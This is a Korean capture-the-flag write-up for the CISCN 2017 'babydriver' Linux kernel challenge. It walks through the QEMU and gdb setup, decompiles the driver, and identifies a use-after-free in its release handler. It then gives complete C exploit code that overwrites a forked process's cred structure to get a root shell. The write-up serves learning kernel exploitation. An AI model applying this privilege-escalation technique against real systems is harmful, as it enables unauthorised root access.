[CISCN CTF 2017] babydriver
CISCN CTF 2017 babydriver
커널에 대한 기본 상식을 정리해놓았습니다.
목차
- Environment setup
- Extract file
 - Extract vmlinux
 - Remote kernel debugging
 
 - Analysis
 - Exploit
 
Environment setup
Extract file
압축 파일에 어떤 파일이 들어있는지 확인해봅시다.
babydriver.zip
babydriver/
├── boot.sh
├── bzImage
└── rootfs.cpio
이렇게 파일들이 들어있습니다.
bzImage파일은 kernel파일이므로 제외하고 boot.sh파일과 rootfs.cpio파일을 확인해봅시다.
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio -kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 64M \
--nographic  -smp cores=1,threads=1 -cpu kvm64,+smep
메모리는 64mb만큼 할당하고, smep보호기법을 걸어놨습니다. 그리고 kvm을 사용하고 있다는 걸 알 수 있습니다.
저희는 추후에 커널을 디버깅하기 위해서 qemu로 부팅해준 커널에 gdb 서버를 열어줘야 합니다.
방법은 간단한데, qemu로 부팅할 때 -s옵션을 추가해주면 부팅할 때 자동으로 1234번 포트로 gdb 서버가 열립니다.
또, 만약 kernel panic이 발생하면 -m 64M옵션에서 메모리 크기를 적당히 크게 늘려서 할당해주면 잘 돌아갑니다.

vmware는 기본적으로 kvm이 실행이 안되므로 cpu설정에서 Virtualize Inter VT-x/EPT or AMD-V/RVI을 체크해줘야 합니다.
rootfs.cpio
$ binwalk -e rootfs.cpio 1>/dev/null
$ cd _rootfs.cpio.extracted
$ binwalk -e 0 1>/dev/null
$ cd _0.extracted
$ ls -al
total 2782
drwxrwxrwx 1 root root       0 Apr  2 00:22 .
drwxrwxrwx 1 root root       0 Apr  2 00:22 ..
-rwxrwxrwx 1 root root 2844672 Apr  2 00:22 0.cpio
drwxrwxrwx 1 root root    4096 Apr  2 00:22 cpio-root
이렇게 .cpio file을 extract할 수 있습니다.
(모든 kernel문제가 다 그런지는 모르겠지만, 이 문제에서 취약점이 존재하는 파일은 cpio-root/lib/modules/4.4.72/babydriver.ko입니다.)
Extract vmlinux
이 문제는 vmlinux파일을 제공해주지 않아서, bzImage커널 파일에서 extract해야 합니다.
apt install linux-headers-(uname -r)
/usr/src/linux-headers-(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
이러면 vmlinux파일을 구할 수 있습니다.
이렇게 추출한 파일은 정상적으로 빌드한 vmlinux파일이 아니기 때문에, 심볼이 깨진 상태 (stripped)입니다.
하지만 rop gadget을 구할 때나 디버깅을 할 때 필수적으로 필요하기 때문에, 문제에서 제공해주는 파일이 없다면, 이렇게 직접 구해주어야 합니다.
심볼은 커널을 부팅한 뒤 user 권한으로 /proc/kallsyms 파일을 읽어서 구할 수 있습니다.
만약에 안 된다면 init파일을 수정해서 root 권한으로 심볼을 뽑아내면 됩니다.
find . | cpio -o --format=newc > ./rootfs.cpio
현재 디렉토리의 모든 file들을 cpio로 합치는 명령어입니다.
/proc/kallsyms파일을 user권한으로 읽을 수 없다면 init파일을 수정하고 위와같이 cpio로 묶어준 뒤, root 권한으로 심볼을 읽어올 수 있습니다.
Remote kernel debugging
가장 먼저 터미널을 추가적으로 하나 더 열어주고 커널을 부팅해줍니다.
터미널에서 /sys/module/babydriver/sections경로에서 base 주소를 구해줍니다.
$ cd /sys/module/babydriver/sections
$ ls -al
total 0
drwxr-xr-x    2 root     root             0 Apr  3 17:30 .
drwxr-xr-x    5 root     root             0 Apr  3 17:30 ..
-r--r--r--    1 root     root          4096 Apr  3 17:30 .bss
-r--r--r--    1 root     root          4096 Apr  3 17:30 .data
-r--r--r--    1 root     root          4096 Apr  3 17:30 .exit.text
-r--r--r--    1 root     root          4096 Apr  3 17:30 .gnu.linkonce.this_module
-r--r--r--    1 root     root          4096 Apr  3 17:30 .init.text
-r--r--r--    1 root     root          4096 Apr  3 17:30 .note.gnu.build-id
-r--r--r--    1 root     root          4096 Apr  3 17:30 .rodata.str1.1
-r--r--r--    1 root     root          4096 Apr  3 17:30 .strtab
-r--r--r--    1 root     root          4096 Apr  3 17:30 .symtab
-r--r--r--    1 root     root          4096 Apr  3 17:30 .text
-r--r--r--    1 root     root          4096 Apr  3 17:30 __mcount_loc
$ cat .text
0xffffffffc0000000
$ cat .bss
0xffffffffc0002440
$ cat .data
0xffffffffc0002000
$ cat .exit.text
0xffffffffc0000170
이런식으로 base 주소를 구할 수 있습니다. (KASLR이 꺼져있어서 고정적인 주소입니다.)
kernel base : 0xffffffffc0000000
$ gdb vmlinux -q
pwndbg> add-symbol-file cpio-root/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
pwndbg> target remote 0:1234
add-symbol-file <module_path> <base_addr> 명령어를 통해 아까 구한 커널 베이스를 베이스로 모듈의 심볼을 적용시킵니다.
target remote <host>:<port>는 디버거로 리모트 디버깅을 attach하는 명령어입니다.
이러면 커널 디버깅을 위한 attach가 성공적으로 진행이 됩니다.
(/proc/kallsyms파일을 심볼로 적용시키려면 방법이 복잡한 것 같길래 일단은 기본적인 방법으로 진행했습니다.)
이제 분석을 진행해봅시다.
Analysis
babydriver.ko파일을 분석해봅시다.
int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}
babyrelease 함수는 /dev/babydev device를 close할 때 실행되는 함수입니다.
kfree함수로 전역변수에 저장된 heap 포인터를 free시키는데, 전역변수 값을 초기화하지 않습니다.
즉 dangling pointer 취약점이 발생합니다.
int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}
babyopen함수는 /dev/babydev device를 open할 때 실행되는 함수인데, 함수를 보면 0x40byte만큼 힙을 할당해서 device_buf에 넣어주고, 0x40 값을 그대로 device_buf_len변수에 넣습니다.
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 size)
{   
  size_t v3; // rdx
  size_t arg3_size; // rbx
  __int64 result; // rax
  _fentry__(filp, command);
  arg3_size = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = _kmalloc(arg3_size, 37748928LL);
    babydev_struct.device_buf_len = arg3_size;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&byte_2EB);
    result = -22LL;
  }
  return result;
}
babyioctl함수는 ioctl함수에 file descriptor인자를 babydevice로 넘겨주면 실행되는 함수입니다.
command변수의 값이 65537이면, 버퍼를 free한 뒤, 3번째 인자의 값으로 버퍼를 재할당합니다.
그리고 device_buf_len변수의 값을 3번째 인자의 값으로 바꿔줍니다.
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user(babydev_struct.device_buf, buffer, v4);
    result = v6;
  }
  return result;
}
babywrite함수는 heap 영역에 우리가 넘겨준 buffer값을 3번째 인자 길이만큼 복사해줍니다.
만약 device_buf_len변수보다 더 큰 값을 3번째 인자로 넘기면 아무 행동도 하지 않습니다.
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx
  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer, babydev_struct.device_buf, v4);
    result = v6;
  }
  return result;
}
babyread함수는 babywrite함수와 반대로 커널의 heap 데이터를 유저 space의 버퍼에 적어줍니다.
마찬가지로 만약 device_buf_len변수보다 더 큰 값을 3번째 인자로 넘기면 아무 행동도 하지 않습니다.
대충 이제 어떻게 익스할지 슬슬 감이옵니다.
Exploit
대충 알아낸 점을 정리하고, 시나리오를 생각해봅시다.
- 여러 번 
device를open해도, 같은 전역변수를 사용함. close할 때 전역변수 buffer를 0으로 초기화하지 않으므로dangling pointer취약점 발생 (Use-After-Free)
굿. 이제 시나리오를 생각해봅시다.
device를 두 번open해서 각각 다른 변수에fd를 저장함.- 첫 번째 
fd를 통해ioctl을 호출해서cred구조체 크기(0xa8 byte)에 맞게 heap영역을 할당함. - 첫 번째 
fd를close함. fork를 호출하면 전역변수의 bufferheap에 현재 권한의cred구조체가 할당됨.- 두 번째 
fd를 통해write함수를 호출해서,cred구조체 멤버의id들을root권한으로 바꿔버림 system("/bin/sh")=>get root;
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
char buf[0x200];
int main() {
    int fd1, fd2, pid;
    fd1 = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);  
    ioctl(fd1, 65537, 0xa8);
    for (int i = 0; i < 0xa8; ++i) buf[i] = 'A';
    write(fd1, buf, 0xa7);
    close(fd1);
    pid = fork();
    if(pid < 0) {
        puts("fork is failed..");
        puts("Something worng..");
        return 0;
    }
    if(pid == 0) {
        ioctl(fd2, 65537, 0xa8);
        for (int i = 0; i < 0xa8; ++i) buf[i] = 'B';
        write(fd2, buf, 0x38);
        system("id");
    }
    puts("Success!");
    return 0;
}
위 코드를 토대로 babywrite함수에 bp를 건 후 한 번 디버깅해봅시다.

처음 babywrite함수의 bp에 걸린 후 copy_from_user함수가 진행된 이후까지 진행해보면, 0xffff88000de64b40영역에 힙이 할당되어, 'A'가 잘 쓰여져있는 것을 확인할 수 있습니다.
계속 진행해봅시다.

또 babywrite에 bp가 걸렸을 때 다시 그 힙 영역을 다시 확인해보면, 아까 close함으로써 free시킨 영역이었기에, fork()를 진행했을 때 복사된 cred구조체가 할당되어있는 것을 확인할 수 있습니다.
    ...
    if(pid == 0) {
        ioctl(fd2, 65537, 0xa8);
        for (int i = 0; i < 0xa8; ++i) buf[i] = 'B';
        write(fd2, buf, 0x38);
    ...
이제 위 코드 부분으로 인해, fd2->device_buf와 cred구조체는 같은 주소값을 갖게 되며, 동시에 0x38만큼의 영역이 'B'로 덮이게 됩니다.

이제 system("id")의 결과를 한 번 볼까요?
$ ./solve
./solve
[   36.908637] device open
[   36.914202] device open
[   36.916409] alloc done
[   36.946315] device release
Success!
$ [   36.961888] alloc done
uid=1111638594 gid=1111638594 groups=1000(ctf)
Success!
이렇게 uid와 gid가 바뀐 것을 확인할 수 있습니다.
이제 코드를 조금 수정해서 root 쉘을 획득해봅시다.

성공적으로 root쉘을 획득했습니다.
solve.c
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
char buf[0x200];
int main() {
    int fd1, fd2, pid;
    fd1 = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);  
    ioctl(fd1, 65537, 0xa8);
    close(fd1);
    pid = fork();
    if(pid < 0) {
        puts("fork is failed..");
        puts("Something worng..");
        exit(-1);
    }
    else if(pid == 0) {  
        ioctl(fd2, 65537, 0xa8);
        for (int i = 0; i < 0xa8; ++i) buf[i] = '\x00';
        write(fd2, buf, 0x38);
        if(getuid() == 0) 
            system("/bin/sh");
        else puts("I don't know why..");
        exit(0);
    }
    else {
        wait(0);
    }
    return 0;
}